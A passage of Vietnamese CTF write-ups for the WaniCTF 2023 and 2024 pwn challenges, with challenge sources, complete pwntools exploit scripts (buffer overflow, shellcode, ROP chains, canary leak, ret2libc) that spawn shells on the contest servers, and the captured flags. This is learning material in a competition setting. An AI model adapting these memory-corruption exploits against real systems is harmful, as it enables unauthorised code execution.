Try   HackMD

(writeup) WaniCTF 2023

netcat (Beginner)

  • đơn giản là netcat rồi tính máy tính thôi
  • khỏi script =)))))

FLAG{1375_k339_17_u9_4nd_m0v3_0n_2_7h3_n3x7!}


only once (Beginner)

  • bài này cũng thế, nhưng coi source ms hiểu được
  • source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

int rand_gen() { return rand() % 1000; }

void win() { system("/bin/sh"); }

int main() {
  init();
  srand((unsigned int)time(NULL));

  int x = rand_gen(), y = rand_gen();
  int score = 0, chall = 1;
  char buf[8];

  while (1) {
    printf("\n+---------------------------------------+\n");
    printf("| your score: %d, remaining %d challenges |\n", score, chall);
    printf("+---------------------------------------+\n\n");

    if (chall == 0) {
      printf("Bye!\n");
      break;
    }
    printf("%3d + %3d = ", x, y);
    scanf("%8s", buf);
    if (atoi(buf) == x + y) {
      printf("Cool!\n");
      score++;
    } else {
      printf("Oops...\n");
      score = 0;
    }
    if (score >= 3) {
      printf("Congrats!\n");
      win();
    }

    x = rand_gen();
    y = rand_gen();
    chall--;
  }
  return 0;
}

  • này tựa tựa lỗi IOF nhưng k phải, lỗi là nếu ta nhập hơn 8 byte ngay đây sẽ ra shell
scanf("%8s", buf);

FLAG{y0u_4r3_600d_47_c41cu14710n5!}


ret2win (Easy)

  • run file thử và dựa vào đề in ra biết được offset cũng như hướng đi
  • ret2win đơn giản và nhẹ nhàng

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall',checksec=False)

#p = process(exe.path)
p = remote('ret2win-pwn.wanictf.org',9003)

payload = b'A'*40
payload += p64(exe.sym['win'])

p.sendafter(b'> ',payload)

p.interactive()

FLAG{f1r57_5739_45_4_9wn3r}


shellcode_basic (normal)

  • tên đề cũng như chall cho sẵn script
  • việc mình là chèn shellcode là xong

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall',checksec=False)

#p = process(exe.path)
p = remote('shell-basic-pwn.wanictf.org', 9004)

shellcode = asm(
    '''
    mov rbx, 29400045130965551
    push rbx

    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 0x3b
    syscall
    ''', arch='amd64')

p.sendline(shellcode)

p.interactive()

FLAG{NXbit_Blocks_shellcode_next_step_is_ROP}


Beginner ROP (normal)

  • check file + checksec

  • check source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 96

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

void show_stack(char *buf) {
  printf("\n  #############################################\n");
  printf("  #                stack state                #\n");
  printf("  #############################################\n\n");

  printf("                 hex           string\n");
  for (int i = 0; i < MAX_READ_LEN; i += 8) {
    printf("       +--------------------+----------+\n");
    printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
    for (int j = 7; j > -1; j--) {
      char c = *(char *)(buf + i + j);
      if (c > 0x7e || c < 0x20)
        c = '.';
      printf("%c", c);
    }
    if (i == 40)
      printf(" | <- TARGET!!!\n");
    else
      printf(" |\n");
  }
  printf("       +--------------------+----------+\n");
}

void pop_rax_ret() { asm("pop %rax; ret"); }

void xor_rsi_ret() { asm("xor %rsi, %rsi; ret"); }

void xor_rdx_ret() { asm("xor %rdx, %rdx; ret"); }

void mov_rsp_rdi_pop_ret() {
  asm("mov %rsp, %rdi\n"
      "add $0x8, %rsp\n"
      "ret");
}

void syscall_ret() { asm("syscall; ret"); }

int ofs = 0, ret = 0;

int main() {
  init();

  char buf[BUF_SIZE] = {0};

  printf("Let's practice ROP attack!\n");

  while (ofs < MAX_READ_LEN) {
    show_stack(buf);

    printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
    ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
    if (ret < 0)
      return 1;
    ofs += ret;
  }
  return 0;
}

  • bài này là ROPchain
  • thì sẽ liên quan tới rdi,rsi,rdx và rax
  • thì có lẽ mình tìm pop từng cái k được (không đủ)

  • thì trong source code có tạo ra từng hàm cho mình mà các hàm đều liên quan đến 3 thằng mình sẽ cần (rdi,rsi,rdx)

  • thì idea trước mắt sẽ là ret từng cài luôn
  • riêng thằng rdi thì nó sẽ đưa vị trí $rsp vào $rdi khi return (tức là ngay $rbp ở lần nhập của mình)
  • vậy thì mình sẽ để '/bin/sh\0' ngay trước $rip
  • và cần padding đủ 96 byte để kết thúc vòng lặp while và return

  • trong hình là '/bin/sh\0' đã vào $rdi
  • nhưng ở ret thứ 2 thì xor của rsi lại trỏ đến địa chỉ (bad)
  • lúc này đổi hướng suy nghĩ:
  • nếu trên source code có hàm xor_rsi các kiểu thì gadget của cái đó chắc sẽ có

  • vậy mình sẽ lấy gadget xor cúi cùng ở 2 thanh ghi rsi và rdx

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall',checksec=False)

#p = process(exe.path)
p = remote('beginners-rop-pwn.wanictf.org',9005)

# gdb.attach(p,gdbscript='''
# 	b*main+162
# 	b*main+231
# 	c
# 	''')
# input()

pop_rax = 0x0000000000401371
xor_rsi = 0x000000000040137e
xor_rdx = 0x000000000040138d
syscall = 0x00000000004013af

payload = b'A'*32
payload += b'/bin/sh\0'
payload += p64(exe.sym['mov_rsp_rdi_pop_ret'])
payload += p64(xor_rsi)
payload += p64(xor_rdx)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(exe.sym['syscall_ret'])
payload = payload.ljust(96,b'B')

p.sendafter(b'> ',payload)

p.interactive()

FLAG{h0p_p0p_r0p_po909090p93r!!!}


Canaleak (normal)

  • check file + checksec

  • check source
#include <stdio.h>
#include <stdlib.h>

void init() {
  // alarm(600);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void win() { system("/bin/sh"); }

int main() {
  char nope[20];
  init();
  while (strcmp(nope, "YES")) {
    printf("You can't overwrite return address if canary is enabled.\nDo you "
           "agree with me? : ");
    scanf("%s", nope);
    printf(nope);
  }
}
  • hướng đi của đề là mình cần ret2win nhưng đồng thời k động chạm tới canary
  • thì mình sẽ leak canary, rồi chèn payload sao cho tới vị trí canary thì mình ghi lại canary r ghi đè tới rip trỏ tới hàm mình cần
  • chương trình sẽ vào vòng lặp while(), miễn payload mình nó khác với chứ 'YES' thì tiếp tục cho mình nhập lần sau
  • thì trong source có hàm printf() in lại những gì mình nhập -> nghĩ ngay đến fmtstr

vị trí thứ 9 là %9$p

  • và để kết thúc vòng lặp thì mình cần có chữ 'YES' trong payload và ghi đè canary rồi ret về win

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall',checksec=False)

#p = process(exe.path)
p = remote('canaleak-pwn.wanictf.org',9006)

# gdb.attach(p,gdbscript='''
#     b*main+75
#     c
#     ''')
# input()

p.sendlineafter(b'me? : ',b'%9$p')

cana_leak = int(p.recvline()[:-1],16)
log.info("cana leak: " + hex(cana_leak))

payload = b'YES\0\0\0\0\0'
payload += b'A'*16
payload += p64(cana_leak)
payload += b'A'*8
payload += p64(exe.sym['win']+5)

p.sendlineafter(b'me? : ',payload)

p.interactive()

FLAG{N0PE!}


ret2libc (normal)

  • check file + checksec

  • check source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 128

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

void show_stack(char *buf) {
  printf("\n  #############################################\n");
  printf("  #                stack state                #\n");
  printf("  #############################################\n\n");

  printf("                 hex           string\n");
  for (int i = 0; i < MAX_READ_LEN; i += 8) {
    printf("       +--------------------+----------+\n");
    printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
    for (int j = 7; j > -1; j--) {
      char c = *(char *)(buf + i + j);
      if (c > 0x7e || c < 0x20)
        c = '.';
      printf("%c", c);
    }
    if (i == 40)
      printf(" | <- TARGET!!!\n");
    else
      printf(" |\n");
  }
  printf("       +--------------------+----------+\n");
}

int ofs = 0, ret = 0;

int main() {
  init();

  char buf[BUF_SIZE] = {0};

  printf("Can you master ROP?\n");

  while (ofs < MAX_READ_LEN) {
    show_stack(buf);

    printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
    ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
    if (ret < 0)
      return 1;
    ofs += ret;
  }
  return 0;
}

  • tìm pop_rdi k có nên hướng đi leak libc như bth không được

  • nên đổi qua chơi 'dirty' xíu là lấy những gì đề in ra

vị trí đó là __libc_start_call_main nên tính offset thôi

  • việc còn lại là /bin/sh với system như bth

pop_rdi có thể lấy của libc vì exe k có sẵn
thêm ret cho stack chẵn

  • script: (của pwninit lấy đỡ cho nhanh XDD)
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-2.35.so",checksec=False)

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("ret2libc-pwn.wanictf.org", 9007)

    return r


def main():
    r = conn()

    libc_offset = libc.sym['__libc_start_call_main']
    r.recvuntil(b'+0x28 | ')
    libc_leak = int(r.recv(18),16)
    libc.address = libc_leak - (libc_offset + 128)
    log.info("libc leak: " + hex(libc_leak))
    log.info("libc base: " + hex(libc.address))

    pop_rdi = libc.address + 0x000000000002a3e5
    ret = 0x000000000040101a

    payload = b'A'*40
    payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
    payload += p64(ret)
    payload += p64(libc.sym['system'])
    payload = payload.ljust(128,b'B')

    r.sendafter(b'> ',payload)

    r.interactive()


if __name__ == "__main__":
    main()

FLAG{c0n6r475_0n_6r4du471n6_45_4_9wn_b361nn3r!}


Time Table (hard)

  • check file + checksec

  • check ida

  • chạy hàm register_student(v4) đầu tiên

  • ở lần nhầp đàu tiên cho user(name), id và major
  • dù k có BOF nhưng khá là ghi ngờ biến buf
  • source code bug position:

lần nhập mandatory sẽ cấu trúc 3 thằng : name | type | detail
lần nhập elective chỉ có 2 thằng :       name | .... | detail
type của elective sẽ giữ nguyên của cái mandatory nếu mandatory được gọi lên trước
  • ida bug position:

__fastcall : gọi con trỏ biến v4[1]
  • idea: k có chỗ tạo shell hay ret2win nên sẽ làm ret2libc hoặc one_gadget
  • đầu tiên sẽ leak libc
  • hướng đi:
    • chọn case 1 (mandatory)
    • case 2 (elective) ghi đè tại vị trí của môn học ở (mandatory)
    • case 4 (write_memo) sẽ ghi stderr để leak
    • case 2 (elective) để lấy byte leak (tên môn - tên giáo sư bây giờ sẽ đổi thành tên môn - byte leak)
lúc này lại thấy ghi đè cả luôn biến professor
  • vì chall k cho libc nên tìm trên libc.blukat.me và lấy xuống
  • đồng thời pwninit luôn
    • tiếp tục sau khi leak libc là tới lần chờ nhập môn ở case 2
    • lúc này ta sẽ chọn môn khác tránh trùng nơi tkb mình dg leak
    • rồi case4 lần nữa để ghi thành địa chỉ r_w và tới one_gadget
  • nhưng thử hết các gadget thì đều k cho ta shell
  • DEBUG chậm lại lúc call rax

  • lúc này nó call vào địa chỉ của 1 user hơi lạ lạ
  • user là lúc từ khi mình bắt đầu nhập vào
lúc này là cho nhập 9 byte 'a'
  • thử lại với content khác

lúc này là cho nhập cỡ 7 byte 'a'
  • thế thì thay vì nhập nùi byte 'a', ta sẽ nhập '/bin/sh\0' và system luôn, không cần one_gadget

  • remote thôi

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./chall_patched', checksec=False)
libc = ELF('./libc6_2.35-0ubuntu3.1_amd64.so', checksec=False)

context.binary = exe


def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
                b*register_elective_class+0
                b*register_elective_class+211    

                c
                ''')
        input()

def info(msg): return log.info(msg)
def sla(msg, data): return p.sendlineafter(msg, data)
def sa(msg, data): return p.sendafter(msg, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)


if args.REMOTE:
    p = remote('timetable-pwn.wanictf.org', 9008)
else:
    p = process(exe.path)

GDB()

sa(b"name : ", b'/bin/sh\0')
sla(b"id : ", b"1234567")
sla(b"major : ", b"1234567")

sla(b">", b"1") #mandatory
sla(b">", b"1")

sla(b">", b"2") #elective
sla(b">", b"1")

sla(b">", b"4") #write_memo
sla(b">", b"FRI 3")
sa(b"CLASS\n", p64(exe.sym['stderr']))

sla(b">", b"2")
p.recvuntil(b"Intellect - ")
leak_libc = u64(p.recvline()[:-1] + b"\0\0")
info("leak libc: " + hex(leak_libc))
libc.address = leak_libc - (libc.sym['_IO_2_1_stderr_'])
info("leak libc: " + hex(libc.address))
sla(b">", b"0")

one_gadget = [0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]

sla(b">", b"4")
sla(b">", b"FRI 3")
sa(b"CLASS\n", p64(0x00000000405a00) + p64(libc.sym['system']))

sla(b">", b"2")
sla(b">", b"1")
p.interactive()

FLAG{Do_n0t_confus3_mandatory_and_el3ctive}

(writeup) WaniCTF 2024

nc

$ nc chal-lz56g6.wanictf.org 9003
15+1=0x10
FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r}

FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r}

do-not-rewrite

#!/usr/bin/python3

from pwn import *

exe = ELF('./chall', checksec=False)

context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*main+171
        b*main+231
        b*main+287
        b*main+407
        c
        ''')
        input()


if args.REMOTE:
    p = remote('chal-lz56g6.wanictf.org',9004)
else:
    p = process(exe.path)

p.recvuntil(b'show_flag = ')
show_flag = int(p.recvline(),16)
exe.address = show_flag - exe.symbols['show_flag']
info("exe leak: " + hex(show_flag))
info("exe base: " + hex(exe.address))

# GDB()

sl(b'a')
sl(b'.')
sl(b'.')

sl(b'a')
sl(b'.')
sl(b'.')

sl(b'a')
sl(b'.')
sl(b'.')

sl(p64(show_flag+5))
sl(b'.')
sl(b'.')

p.interactive()
#FLAG{B3_c4r3fu1_wh3n_using_th3_f0rm4t_sp3cifi3r_1f_in_sc4nf}

FLAG{B3_c4r3fu1_wh3n_using_th3_f0rm4t_sp3cifi3r_1f_in_sc4nf}

do-not-rewrite2

#!/usr/bin/python3

from pwn import *

exe = ELF('./chall_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*main+171
        b*main+231
        b*main+287
        b*main+407
        b*main+522
        c
        ''')
        input()


if args.REMOTE:
    p = remote('chal-lz56g6.wanictf.org',9005)
else:
    p = process(exe.path)

p.recvuntil(b'printf = ')
printf = int(p.recvline(),16)
libc.address = printf - libc.sym.printf
info("libc leak: " + hex(printf))
info("libc base: " + hex(libc.address))

GDB()
pop_rdi = libc.address + 0x000000000010f75b
sl(b'a')
sl(b'.')
sl(b'.')

sl(b'a')
sl(b'.')
sl(b'.')

sl(b'a')
sl(b'.')
sl(b'.')
payload = p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) + p64(pop_rdi+1) + p64(libc.sym.system)
sl(payload)
sl(b'.')
sl(b'.')

p.interactive()
#FLAG{r0p_br0d3n_0ur_w0r1d}

FLAG{r0p_br0d3n_0ur_w0r1d}